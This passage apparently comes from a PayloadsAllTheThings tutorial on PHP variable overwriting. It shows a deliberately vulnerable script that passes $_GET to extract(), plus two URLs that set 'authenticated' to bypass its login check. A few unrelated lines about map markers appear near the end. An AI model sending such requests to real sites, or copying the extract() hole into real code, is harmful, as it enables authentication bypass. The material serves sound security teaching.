External Variable Modification · passage 3 of 6

Overwriting Critical Variables

2 code blocks · External Variable Modification/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

If `extract()` is used in a script that relies on specific variables, an attacker can manipulate them.

<?php
    $authenticated = false;
    extract($_GET);
    if ($authenticated) {
        echo "Access granted!";
    } else {
        echo "Access denied!";
    }
?>

**Exploitation:** In this example, the use of `extract($_GET)` allow an attacker to set the `$authenticated` variable to `true`:

http://example.com/vuln.php?authenticated=true
http://example.com/vuln.php?authenticated=1

Every one of the 6 is a mark on the map. Named now: 1 to 6, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-13 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.